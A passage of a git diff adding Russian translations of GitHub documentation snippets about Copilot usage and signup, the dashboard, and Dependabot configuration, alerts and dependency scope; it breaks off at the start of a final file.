b/translations/ru-RU/data/reusables/copilot/reject-suggestions-escape.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 130104b51690402e81c0e73141bfecf2f6b6a88a +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "147080706" +--- +1. Кроме того, чтобы отклонить все предложения, нажмите клавишу ESC. diff --git a/translations/ru-RU/data/reusables/copilot/save-settings.md b/translations/ru-RU/data/reusables/copilot/save-settings.md new file mode 100644 index 000000000000..53bedc4b7afd --- /dev/null +++ b/translations/ru-RU/data/reusables/copilot/save-settings.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: aa8e8c3c83a5276c5adf46af9c3f97673954703b +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "147881887" +--- +1. Чтобы подтвердить новые параметры, нажмите кнопку **Сохранить**. diff --git a/translations/ru-RU/data/reusables/copilot/see-alternative-suggestions.md b/translations/ru-RU/data/reusables/copilot/see-alternative-suggestions.md new file mode 100644 index 000000000000..be72c5bc2368 --- /dev/null +++ b/translations/ru-RU/data/reusables/copilot/see-alternative-suggestions.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 555662506930934ceb133411a139a2e84c52b603 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "147080705" +--- +1. Вы можете просмотреть и альтернативные предложения, если они доступны. diff --git a/translations/ru-RU/data/reusables/copilot/signup-procedure.md b/translations/ru-RU/data/reusables/copilot/signup-procedure.md new file mode 100644 index 000000000000..3ab7319cc6a4 --- /dev/null +++ b/translations/ru-RU/data/reusables/copilot/signup-procedure.md @@ -0,0 +1,25 @@ +--- +ms.openlocfilehash: 8fd599404931b2ec2334e0ad0200bbf8734f962e +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "147080677" +--- +Прежде чем приступить к использованию {% data variables.product.prodname_copilot %}, необходимо настроить бесплатную пробную версию или подписку. + +{% data reusables.user-settings.access_settings %} +1. В разделе "Код, планирование и автоматизация" на боковой панели нажмите **{% octicon "copilot" aria-label="The copilot icon" %} GitHub Copilot**. +1. На странице параметров {% data variables.product.prodname_copilot %} нажмите кнопку **Включить {% data variables.product.prodname_copilot %}** . + + ![Снимок экрана: параметры GitHub Copilot с выделенным элементом "Включить {% data variables.product.prodname_copilot %}](/assets/images/help/copilot/copilot-settings-enable-button.png) +1. Выберите период выставления счетов (ежемесячно или ежегодно) и нажмите кнопку **Продолжить, чтобы получить доступ к Copilot**. + - Если ваша личная учетная запись соответствует условиям бесплатной подписки {% data variables.product.prodname_copilot %}, вместо пробной версии вы автоматически перейдете к шагу 6. + + ![Снимок экрана: настройка пробной версии с выделенным элементом "Продолжить, чтобы получить доступ к Copilot"](/assets/images/help/copilot/copilot-billing-cycle.png) +1. Выполните действия, чтобы подтвердить платежные данные, а затем нажмите кнопку **Отправить**. +1. Выберите параметры, а затем нажмите кнопку **Сохранить и начать работу**. + + ![Снимок экрана: параметры GitHub Copilot с кнопкой "Сохранить и начать работу"](/assets/images/help/copilot/copilot-signup-preferences.png) + + Эти настройки можно изменить позже, вернувшись к параметрам {% data variables.product.prodname_copilot %}. Дополнительные сведения см. в разделе [Настройка GitHub Copilot в Visual Studio Code](/copilot/configuring-github-copilot/configuring-github-copilot-in-visual-studio-code#configuring-github-copilot-settings-on-githubcom). diff --git a/translations/ru-RU/data/reusables/copilot/suggestions-new-tab.md b/translations/ru-RU/data/reusables/copilot/suggestions-new-tab.md new file mode 100644 index 000000000000..5da6e14f5087 --- /dev/null +++ b/translations/ru-RU/data/reusables/copilot/suggestions-new-tab.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: d855d23c82eed7c6ac60c1f60f0398d5afc49586 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "147080614" +--- +Возможно, вам не нужны начальные предложения от {% data variables.product.prodname_copilot %}. Вы можете использовать сочетание клавиш, чтобы запросить {% data variables.product.prodname_copilot %} отображать несколько предложений на новой вкладке. diff --git a/translations/ru-RU/data/reusables/copilot/supported-languages.md b/translations/ru-RU/data/reusables/copilot/supported-languages.md new file mode 100644 index 000000000000..0e09e77af844 --- /dev/null +++ b/translations/ru-RU/data/reusables/copilot/supported-languages.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: d9621c982c8fb4d918c9d7274c85e1f5c799e664 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "147881935" +--- +{% data variables.product.prodname_copilot %} предоставляет предложения для нескольких языков и платформ, среди которых лучше всего поддерживаются Python, JavaScript, TypeScript, Ruby, Go, C# и C++. diff --git a/translations/ru-RU/data/reusables/copilot/type-function-header-c.md b/translations/ru-RU/data/reusables/copilot/type-function-header-c.md new file mode 100644 index 000000000000..48a8a6af4000 --- /dev/null +++ b/translations/ru-RU/data/reusables/copilot/type-function-header-c.md @@ -0,0 +1,13 @@ +--- +ms.openlocfilehash: 00f315d2a5ebe5c12ba5094c31c10b5c8578e73a +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "147080674" +--- +1. В файле C# введите следующий заголовок функции. + + ```csharp{:copy} + function calculateDaysBetweenDates(begin, end) { + ``` diff --git a/translations/ru-RU/data/reusables/copilot/type-function-header.md b/translations/ru-RU/data/reusables/copilot/type-function-header.md new file mode 100644 index 000000000000..42a8f4688397 --- /dev/null +++ b/translations/ru-RU/data/reusables/copilot/type-function-header.md @@ -0,0 +1,14 @@ +--- +ms.openlocfilehash: 22ead8e5b471035b823f7a33e93e06893d58353a +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "147881855" +--- +1. В файле JavaScript введите следующий заголовок функции. + + ```javascript{:copy} + function calculateDaysBetweenDates(begin, end) { + ``` + diff --git a/translations/ru-RU/data/reusables/copilot/windows-linux-next-suggestion.md b/translations/ru-RU/data/reusables/copilot/windows-linux-next-suggestion.md new file mode 100644 index 000000000000..91b784a3bd1a --- /dev/null +++ b/translations/ru-RU/data/reusables/copilot/windows-linux-next-suggestion.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 8a3c7a1f01242a4bf1aea74fa70be87242453631 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "147879472" +--- +- В Windows или Linux нажмите сочетание клавиш ALT+] для перехода к следующему предложению, или ALT+[ — для возврата к предыдущему. diff --git a/translations/ru-RU/data/reusables/dashboard/access-org-dashboard.md b/translations/ru-RU/data/reusables/dashboard/access-org-dashboard.md new file mode 100644 index 000000000000..6f5d78a832dc --- /dev/null +++ b/translations/ru-RU/data/reusables/dashboard/access-org-dashboard.md @@ -0,0 +1,11 @@ +--- +ms.openlocfilehash: 962b02d04dbb627feabb197087eb06fa36ba761e +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145138905" +--- +1. Чтобы получить доступ к странице панели мониторинга, в верхнем левом углу любой страницы на {% data variables.product.product_name %} щелкните {% octicon "mark-github" aria-label="The github octocat logo" %}. +2. В левом верхнем углу страницы щелкните свое имя пользователя и используйте раскрывающееся меню, чтобы выбрать нужную организацию. +![Раскрывающееся меню контекстного переключателя панели мониторинга с различными параметрами организации](/assets/images/help/dashboard/dashboard-context-switcher.png) diff --git a/translations/ru-RU/data/reusables/dashboard/recent-activity-qualifying-events.md b/translations/ru-RU/data/reusables/dashboard/recent-activity-qualifying-events.md new file mode 100644 index 000000000000..3137ecb8a27c --- /dev/null +++ b/translations/ru-RU/data/reusables/dashboard/recent-activity-qualifying-events.md @@ -0,0 +1,16 @@ +--- +ms.openlocfilehash: a891c9e393eae7dd2de2359d04b10fb4140baeab +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145138897" +--- +Открытые проблемы и запросы на вытягивание отображаются в разделе последних действий, когда: +- Вы открыли проблему или запрос на вытягивание. +- Кто-то прокомментировал проблему или запрос на вытягивание, которые вы открыли. +- Ваша проблема или запрос на вытягивание повторно открыты. +- По запросу на вытягивание была запрошена проверка. +- Вам назначена проблема или запрос на вытягивание. +- Вы ссылались на проблему или запрос на вытягивание с помощью фиксации. +- Вы прокомментировали проблему или запрос на вытягивание. diff --git a/translations/ru-RU/data/reusables/dependabot/about-the-dependency-graph.md b/translations/ru-RU/data/reusables/dependabot/about-the-dependency-graph.md new file mode 100644 index 000000000000..fbd267398b71 --- /dev/null +++ b/translations/ru-RU/data/reusables/dependabot/about-the-dependency-graph.md @@ -0,0 +1,12 @@ +--- +ms.openlocfilehash: 8cf9b4b70c5295ad2c7178a586fd660e05a88076 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "146458199" +--- +Граф зависимостей — это сводка файлов манифеста и блокировки, хранящихся в репозитории{% ifversion dependency-submission-api %}, и всех зависимостей, отправленных в этот репозиторий через API отправки зависимостей (бета-версия){% endif %}. Для каждого репозитория отображается{% ifversion fpt or ghec %}: + +- Зависимости, экосистемы и пакеты, от которых он зависит +- Зависимые, репозитории и пакеты, которые зависят от него{% else %} зависимости, то есть экосистемы и пакеты, от которых он зависит. {% data variables.product.product_name %} не вычисляет сведения о зависимых, репозиториях и пакетах, которые зависят от репозитория.{% endif %} diff --git a/translations/ru-RU/data/reusables/dependabot/automated-tests-note.md b/translations/ru-RU/data/reusables/dependabot/automated-tests-note.md new file mode 100644 index 000000000000..1bf99133e6b1 --- /dev/null +++ b/translations/ru-RU/data/reusables/dependabot/automated-tests-note.md @@ -0,0 +1,13 @@ +--- +ms.openlocfilehash: 276451d5e20b4aebaa3f9841f4a9c1ec5270e2d5 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145138889" +--- +{% note %} + +**Примечание.** Рекомендуется выполнять автоматизированные тесты и процессы принятия, чтобы проверки выполнялись до слияния запроса на вытягивание. Это особенно важно, если предлагаемая версия для обновления содержит дополнительные функциональные возможности или изменение, которое нарушает код проекта. Дополнительную информацию о непрерывной интеграции см. в разделе [Сведения о непрерывной интеграции](/actions/building-and-testing-code-with-continuous-integration/about-continuous-integration). + +{% endnote %} diff --git a/translations/ru-RU/data/reusables/dependabot/beta-security-and-version-updates.md b/translations/ru-RU/data/reusables/dependabot/beta-security-and-version-updates.md new file mode 100644 index 000000000000..a6d2d6cd011e --- /dev/null +++ b/translations/ru-RU/data/reusables/dependabot/beta-security-and-version-updates.md @@ -0,0 +1,21 @@ +{% ifversion ghes < 3.5 %} + +{% note %} +{% ifversion ghes = 3.4 %} +**Note:** {% data variables.product.prodname_dependabot %} security and version updates are currently in public beta and subject to change. +{% else %} +**Note:** {% data variables.product.prodname_dependabot %} security and version updates are currently in private beta and subject to change. Please [contact your account management team](https://enterprise.github.com/contact) for instructions on enabling Dependabot updates. +{% endif %} + +{% endnote %} + +{% endif %} + +{% ifversion ghae = 3.4 %} + +{% note %} + +**Note:** {% data variables.product.prodname_dependabot %} security and version updates are currently in public beta and subject to change. + +{% endnote %} +{% endif %} diff --git a/translations/ru-RU/data/reusables/dependabot/check-in-dependabot-yml.md b/translations/ru-RU/data/reusables/dependabot/check-in-dependabot-yml.md new file mode 100644 index 000000000000..7935b528968b --- /dev/null +++ b/translations/ru-RU/data/reusables/dependabot/check-in-dependabot-yml.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: e156f2514596a5d999fb5f8e5407f818404f9ea7 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145138870" +--- +1. Проверьте файл конфигурации *dependabot.yml* в каталоге `.github` репозитория. diff --git a/translations/ru-RU/data/reusables/dependabot/click-dependabot-tab.md b/translations/ru-RU/data/reusables/dependabot/click-dependabot-tab.md new file mode 100644 index 000000000000..d3cd0c7e9e2d --- /dev/null +++ b/translations/ru-RU/data/reusables/dependabot/click-dependabot-tab.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: b5c1e05970a3329c70f5a596a58514c524901594 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145138846" +--- +4. В разделе "Граф зависимостей" щелкните **{% data variables.product.prodname_dependabot %}** . + ![Граф зависимостей, вкладка {% data variables.product.prodname_dependabot %}](/assets/images/help/dependabot/dependabot-tab.png) diff --git a/translations/ru-RU/data/reusables/dependabot/configuration-options.md b/translations/ru-RU/data/reusables/dependabot/configuration-options.md new file mode 100644 index 000000000000..f42499d79e34 --- /dev/null +++ b/translations/ru-RU/data/reusables/dependabot/configuration-options.md @@ -0,0 +1,24 @@ +| Option | Required | Security Updates | Version Updates | Description | +|:---|:---:|:---:|:---:|:---| +| [`package-ecosystem`](/code-security/dependabot/dependabot-version-updates/configuration-options-for-the-dependabot.yml-file#package-ecosystem) | **X** | | X | Package manager to use | +| [`directory`](/code-security/dependabot/dependabot-version-updates/configuration-options-for-the-dependabot.yml-file#directory) | **X** | | X | Location of package manifests | +| [`schedule.interval`](/code-security/dependabot/dependabot-version-updates/configuration-options-for-the-dependabot.yml-file#scheduleinterval) | **X** | | X | How often to check for updates | +| [`allow`](/code-security/dependabot/dependabot-version-updates/configuration-options-for-the-dependabot.yml-file#allow) | | X | X | Customize which updates are allowed | +| [`assignees`](/code-security/dependabot/dependabot-version-updates/configuration-options-for-the-dependabot.yml-file#assignees) | | X | X | Assignees to set on pull requests | +| [`commit-message`](/code-security/dependabot/dependabot-version-updates/configuration-options-for-the-dependabot.yml-file#commit-message) | | X | X | Commit message preferences |{% ifversion fpt or ghec or ghes > 3.4 %} +| [`enable-beta-ecosystems`](/code-security/dependabot/dependabot-version-updates/configuration-options-for-the-dependabot.yml-file#enable-beta-ecosystems) | | | X | Enable ecosystems that have beta-level support |{% endif %} +| [`ignore`](/code-security/dependabot/dependabot-version-updates/configuration-options-for-the-dependabot.yml-file#ignore) | | X | X | Ignore certain dependencies or versions | +| [`insecure-external-code-execution`](/code-security/dependabot/dependabot-version-updates/configuration-options-for-the-dependabot.yml-file#insecure-external-code-execution) | | | X | Allow or deny code execution in manifest files | +| [`labels`](/code-security/dependabot/dependabot-version-updates/configuration-options-for-the-dependabot.yml-file#labels) | | X | X | Labels to set on pull requests | +| [`milestone`](/code-security/dependabot/dependabot-version-updates/configuration-options-for-the-dependabot.yml-file#milestone) | | X | X | Milestone to set on pull requests | +| [`open-pull-requests-limit`](#open-pull-requests-limit) | | X | X | Limit number of open pull requests for version updates | +| [`pull-request-branch-name.separator`](/code-security/dependabot/dependabot-version-updates/configuration-options-for-the-dependabot.yml-file#pull-request-branch-nameseparator) | | X | X | Change separator for pull request branch names | +| [`rebase-strategy`](/code-security/dependabot/dependabot-version-updates/configuration-options-for-the-dependabot.yml-file#rebase-strategy) | | X | X | Disable automatic rebasing | +| [`registries`](/code-security/dependabot/dependabot-version-updates/configuration-options-for-the-dependabot.yml-file#registries) | | | X | Private registries that {% data variables.product.prodname_dependabot %} can access| +| [`reviewers`](/code-security/dependabot/dependabot-version-updates/configuration-options-for-the-dependabot.yml-file#reviewers) | | X | X | Reviewers to set on pull requests | +| [`schedule.day`](/code-security/dependabot/dependabot-version-updates/configuration-options-for-the-dependabot.yml-file#scheduleday) | | | X | Day of week to check for updates | +| [`schedule.time`](/code-security/dependabot/dependabot-version-updates/configuration-options-for-the-dependabot.yml-file#scheduletime) | | | X | Time of day to check for updates (hh:mm) | +| [`schedule.timezone`](/code-security/dependabot/dependabot-version-updates/configuration-options-for-the-dependabot.yml-file#scheduletimezone) | | | X | Timezone for time of day (zone identifier) | +| [`target-branch`](/code-security/dependabot/dependabot-version-updates/configuration-options-for-the-dependabot.yml-file#target-branch) | | | X | Branch to create pull requests against | +| [`vendor`](/code-security/dependabot/dependabot-version-updates/configuration-options-for-the-dependabot.yml-file#vendor) | | | X | Update vendored or cached dependencies | +| [`versioning-strategy`](/code-security/dependabot/dependabot-version-updates/configuration-options-for-the-dependabot.yml-file#versioning-strategy) | | X | X | How to update manifest version requirements | diff --git a/translations/ru-RU/data/reusables/dependabot/default-dependencies-allow-ignore.md b/translations/ru-RU/data/reusables/dependabot/default-dependencies-allow-ignore.md new file mode 100644 index 000000000000..46368bacd430 --- /dev/null +++ b/translations/ru-RU/data/reusables/dependabot/default-dependencies-allow-ignore.md @@ -0,0 +1 @@ +By default all dependencies that are explicitly defined in a manifest are kept up to date by {% data variables.product.prodname_dependabot %} version updates. In addition, {% data variables.product.prodname_dependabot %} security updates also update vulnerable dependencies that are defined in lock files. You can use `allow` and `ignore` to customize which dependencies to maintain. {% data variables.product.prodname_dependabot %} checks for all allowed dependencies and then filters out any ignored dependencies or versions. So a dependency that is matched by both an `allow` and an `ignore` will be ignored. diff --git a/translations/ru-RU/data/reusables/dependabot/default-labels.md b/translations/ru-RU/data/reusables/dependabot/default-labels.md new file mode 100644 index 000000000000..c3f904305149 --- /dev/null +++ b/translations/ru-RU/data/reusables/dependabot/default-labels.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 3b05d1b75c37f24e9ae4ce03618910c572f259d1 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/12/2022 +ms.locfileid: "147887716" +--- +По умолчанию {% data variables.product.prodname_dependabot %} вызывает все запросы на вытягивание с меткой `dependencies`. Если определено несколько диспетчеров пакетов, {% data variables.product.prodname_dependabot %} включает дополнительную метку для каждого запроса на вытягивание. Это указывает, какой язык или экосистема будет обновлять запрос на вытягивание, например: `java` для обновлений Gradle и `submodules` для обновлений подмодуля Git. {% data variables.product.prodname_dependabot %} автоматически создает эти метки по умолчанию, как это требуется в репозитории. diff --git a/translations/ru-RU/data/reusables/dependabot/dependabot-alerts-beta.md b/translations/ru-RU/data/reusables/dependabot/dependabot-alerts-beta.md new file mode 100644 index 000000000000..ae12c6159de6 --- /dev/null +++ b/translations/ru-RU/data/reusables/dependabot/dependabot-alerts-beta.md @@ -0,0 +1,13 @@ +--- +ms.openlocfilehash: 6d7fb7af1c60d0df9f3f173143d08c4acc40d643 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145138814" +--- +{% ifversion ghae %} {% note %} + +**Примечание.** {% data variables.product.prodname_dependabot_alerts %} в настоящее время доступен в бета-версии и может быть изменен. + +{% endnote %} {% endif %} diff --git a/translations/ru-RU/data/reusables/dependabot/dependabot-alerts-dependency-graph-enterprise.md b/translations/ru-RU/data/reusables/dependabot/dependabot-alerts-dependency-graph-enterprise.md new file mode 100644 index 000000000000..5e11c5e01099 --- /dev/null +++ b/translations/ru-RU/data/reusables/dependabot/dependabot-alerts-dependency-graph-enterprise.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: b9966ffd598f2f69e0014693c489f5f5a21e2433 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145138806" +--- +{% ifversion ghes or ghae %} Владельцы предприятия могут настроить {% ifversion ghes %}граф зависимостей и {% endif %}{% data variables.product.prodname_dependabot_alerts %} для предприятия. Дополнительные сведения см. в разделах {% ifversion ghes %} [Включение графа зависимостей для предприятия](/admin/code-security/managing-supply-chain-security-for-your-enterprise/enabling-the-dependency-graph-for-your-enterprise) и {% endif %} [Включение {% data variables.product.prodname_dependabot %} для предприятия](/admin/configuration/configuring-github-connect/enabling-dependabot-for-your-enterprise). +{% endif %} diff --git a/translations/ru-RU/data/reusables/dependabot/dependabot-alerts-dependency-scope.md b/translations/ru-RU/data/reusables/dependabot/dependabot-alerts-dependency-scope.md new file mode 100644 index 000000000000..41677191296d --- /dev/null +++ b/translations/ru-RU/data/reusables/dependabot/dependabot-alerts-dependency-scope.md @@ -0,0 +1,33 @@ +--- +ms.openlocfilehash: 873bdafd14b68ef0b8f2a99429a7f9966decc537 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "147080538" +--- +В таблице ниже приведены сведения о том, поддерживается ли область зависимости для разных экосистем и манифестов, то есть может ли {% data variables.product.prodname_dependabot %} определить, используется ли зависимость для разработки или рабочей среды. + +| **Язык** | **Экосистема** | **Файл манифеста** | **Поддержка области зависимости** | +|:---|:---:|:---:|:---| +| Go | Модули Go | go.mod | Нет, по умолчанию предполагается среда выполнения | +| Go | Модули Go | go.sum | Нет, по умолчанию предполагается среда выполнения | +| Java | Maven | pom.xml | ✔ `test` обозначает среду разработки, во всех остальных случаях по умолчанию предполагается среда выполнения | +| JavaScript | npm | package.json | ✔ | +| JavaScript | npm | package-lock.json | ✔ | +| JavaScript | yarn v1 | yarn.lock | Нет, по умолчанию предполагается среда выполнения | +| PHP | Composer | composer.json | ✔ | +| PHP | Composer | composer.lock | ✔ | +| Python | Poetry | poetry.lock | ✔ | +| Python | Poetry | pyproject.toml | ✔ | +| Python | pip | requirements.txt | ✔ Предполагается область разработки, если имя файла содержит `test` или `dev`, и среда выполнения во всех остальных случаях | +| Python | pip | pipfile.lock | ✔ | +| Python | pip | pipfile | ✔ | +| Ruby | RubyGems | Gemfile | ✔ | +| Ruby | RubyGems | Gemfile.lock | Нет, по умолчанию предполагается среда выполнения | +| Rust | Грузовой | Cargo.toml | ✔ | +| Rust | Грузовой | Cargo.lock | Нет, по умолчанию предполагается среда выполнения | +| YAML | Действия GitHub | - | Нет, по умолчанию предполагается среда выполнения | +| .NET (C#, F#, VB и так далее) | NuGet | .csproj / .vbproj .vcxproj / .fsproj | Нет, по умолчанию предполагается среда выполнения | +| .NET | NuGet | packages.config | Нет, по умолчанию предполагается среда выполнения | +| .NET | NuGet | .nuspec | ✔ Когда нет тега "runtime" | diff --git a/translations/ru-RU/data/reusables/dependabot/dependabot-alerts-filters.md b/translations/ru-RU/data/reusables/dependabot/dependabot-alerts-filters.md new file mode 100644 index 000000000000..30e694b7a7ca --- /dev/null +++ b/translations/ru-RU/data/reusables/dependabot/dependabot-alerts-filters.md @@ -0,0 +1,14 @@ +You can sort and filter {% data variables.product.prodname_dependabot_alerts %} by typing filters as `key:value` pairs into the search bar. + +| Option | Description | Example | +|:---|:---|:---| +| `ecosystem` | Displays alerts for the selected ecosystem | Use `ecosystem:npm` to show {% data variables.product.prodname_dependabot_alerts %} for npm |{% ifversion fpt or ghec or ghes > 3.5 or ghae > 3.5 %} +| `has` | Displays alerts meeting the selected filter criteria | Use `has:patch` to show alerts related to advisories that have a patch{% ifversion dependabot-alerts-vulnerable-calls %}
Use `has:vulnerable-calls` to show alerts relating to calls to vulnerable functions{% endif %} |{% endif %} +| `is` | Displays alerts based on their state | Use `is:open` to show open alerts | +| `manifest` | Displays alerts for the selected manifest | Use `manifest:webwolf/pom.xml` to show alerts on the pom.xml file of the webwolf application | +| `package` | Displays alerts for the selected package | Use `package:django` to show alerts for django | +| `resolution` | Displays alerts of the selected resolution status | Use `resolution:no-bandwidth` to show alerts previously parked due to lack of resources or time to fix them | +| `repo` | Displays alerts based on the repository they relate to
Note that this filter is only available on the security overview. For more information, see "[About the security overview](/code-security/security-overview/about-the-security-overview)" | Use `repo:octocat-repo` to show alerts in the repository called `octocat-repo` |{%- ifversion dependabot-alerts-development-label %} +| `scope` | Displays alerts based on the scope of the dependency they relate to | Use `scope:development` to show alerts for dependencies that are only used during development |{% endif %} +| `severity` | Displays alerts based on their level of severity | Use `severity:high` to show alerts with a severity of High |{%- ifversion dependabot-most-important-sort-option %} +| `sort` | Displays alerts according to the selected sort order | The default sorting option for alerts is `sort:most-important`, which ranks alerts by importance
Use `sort:newest` to show the latest alerts reported by {% data variables.product.prodname_dependabot %} |{% endif %} diff --git a/translations/ru-RU/data/reusables/dependabot/dependabot-tos.md b/translations/ru-RU/data/reusables/dependabot/dependabot-tos.md new file mode 100644 index 000000000000..1a6545febfd6 --- /dev/null +++ b/translations/ru-RU/data/reusables/dependabot/dependabot-tos.md @@ -0,0 +1,11 @@ +--- +ms.openlocfilehash: e71674bb25f77d71366fdc2c3b8ed56d55c81657 +ms.sourcegitcommit: aa67bb5ad7aa6804c5def4390e30adcc7cf96ea1 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/15/2022 +ms.locfileid: "148165204" +--- +{% ifversion fpt %} {% data variables.product.prodname_dependabot %} и все связанные функции охватываются [условиями предоставления услуг {% data variables.product.prodname_dotcom %}](/free-pro-team@latest/github/site-policy/github-terms-of-service). +{% elsif ghec %} {% data variables.product.prodname_dependabot %} и все связанные функции охватываются лицензионным соглашением. Дополнительные сведения см. в разделе [Условия для корпоративных клиентов {% data variables.product.company_short %}](https://github.com/customer-terms). +{% endif %} diff --git a/translations/ru-RU/data/reusables/dependabot/dependabot-updates-and-actions.md b/translations/ru-RU/data/reusables/dependabot/dependabot-updates-and-actions.md new file mode 100644 index 000000000000..8bb612b90ca2 --- /dev/null +++ b/translations/ru-RU/data/reusables/dependabot/dependabot-updates-and-actions.md @@ -0,0 +1 @@ +{% data variables.product.prodname_actions %} is {% ifversion ghec or fpt %}not {% endif %}required for {% data variables.product.prodname_dependabot_version_updates %} and {% data variables.product.prodname_dependabot_security_updates %} to run on {% data variables.product.product_name %}.{% ifversion fpt or ghec %} However, pull requests opened by {% data variables.product.prodname_dependabot %} can trigger workflows that run actions. For more information, see "[Automating {% data variables.product.prodname_dependabot %} with {% data variables.product.prodname_actions %}](/code-security/dependabot/working-with-dependabot/automating-dependabot-with-github-actions)."{% elsif ghes %} {% data reusables.dependabot.enabling-actions-for-ghes %} For more information, see "[Enabling {% data variables.product.prodname_dependabot %} for your enterprise](/admin/configuration/configuring-github-connect/enabling-dependabot-for-your-enterprise)."{% endif %} diff --git a/translations/ru-RU/data/reusables/dependabot/enabling-actions-for-ghes.md b/translations/ru-RU/data/reusables/dependabot/enabling-actions-for-ghes.md new file mode 100644 index 000000000000..c752b52576e0 --- /dev/null +++ b/translations/ru-RU/data/reusables/dependabot/enabling-actions-for-ghes.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 31aa923005d7561961ad5ba9afc4d6a9859ca264 +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/25/2022 +ms.locfileid: "148106920" +--- +Перед включением {% data variables.product.prodname_dependabot_updates %} необходимо настроить {% data variables.location.product_location %} для использования {% data variables.product.prodname_actions %} с локальными средствами выполнения тестов. diff --git a/translations/ru-RU/data/reusables/dependabot/enabling-disabling-dependency-graph-private-repo.md b/translations/ru-RU/data/reusables/dependabot/enabling-disabling-dependency-graph-private-repo.md new file mode 100644 index 000000000000..5a91d324de95 --- /dev/null +++ b/translations/ru-RU/data/reusables/dependabot/enabling-disabling-dependency-graph-private-repo.md @@ -0,0 +1,10 @@ +Repository administrators can enable or disable the dependency graph for private repositories. + +You can also enable or disable the dependency graph for all repositories owned by your user account or organization. For more information, see "[Configuring the dependency graph](/code-security/supply-chain-security/understanding-your-software-supply-chain/configuring-the-dependency-graph)." + +{% data reusables.repositories.navigate-to-repo %} +{% data reusables.repositories.sidebar-settings %} +{% data reusables.repositories.navigate-to-code-security-and-analysis %} +4. Read the message about granting {% data variables.product.product_name %} read-only access to the repository data to enable the dependency graph, then next to "Dependency Graph", click **Enable**. + !["Enable" button for the dependency graph](/assets/images/help/repository/dependency-graph-enable-button.png) + You can disable the dependency graph at any time by clicking **Disable** next to "Dependency Graph" on the settings page for {% ifversion fpt or ghec or ghes > 3.4 or ghae > 3.4 %}"Code security and analysis."{% else %}"Security & analysis."{% endif %} diff --git a/translations/ru-RU/data/reusables/dependabot/enterprise-enable-dependabot.md b/translations/ru-RU/data/reusables/dependabot/enterprise-enable-dependabot.md new file mode 100644 index 000000000000..c3e303b64169 --- /dev/null +++ b/translations/ru-RU/data/reusables/dependabot/enterprise-enable-dependabot.md @@ 